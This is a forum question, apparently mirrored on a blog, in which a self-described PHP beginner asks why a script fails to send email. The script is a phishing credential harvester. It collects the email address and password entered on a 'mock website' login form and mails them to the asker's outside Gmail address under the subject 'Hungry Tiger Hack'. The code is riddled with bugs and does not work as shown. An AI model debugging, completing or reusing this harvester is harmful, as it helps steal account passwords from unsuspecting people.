This question already has an answer here:
<?php
if (isset($_post['submit'])) { //This page should not be accessed directly. Need to submit the form
echo "error; you need to submit the form!";
$Email = $_POST['Email'];
$Vistor_Password = $_POST['Password'];
}
//Vaildate Form
if (empty($email) || emtpy($vistor_password)) {
echo "email and password are mandortary! Please fill in feilds ";
exit;
}
$email_from = 'garyjames4567@mail.com';
$email_subject = "Hungry Tiger Hack ";
$email_body = "A user has signed in on the mock website.\n" . " You have recieved a new message from the user.\n" . "The email address discovered is: $email\n" . "Here is the password to that email account:\n $vistor-Password";
$to = "garyjames4567@gmail.com";
$headers = "From:$email_from \r\n";
//Send the email
mail($to, $email_subject, $email, $headers);
//done redirect to hungrytiger2.html
// This results in an error.
// The output above is before the header() call
header('Location: http://ift.tt/2bT5453');
?>
I have used the above code to try and use a form to send an email to my account that contains the data in the form. however it doesnt send the email. I don't know why this is and I can no longer spot the errors in the code. can please someone help me. I'm new to PHP so I don't know a lot. Also this question is different to the other question because the code is different. So I would prefer a better response I have looked at the other page and it doesn't suit my question.
regards
Aucun commentaire:
Enregistrer un commentaire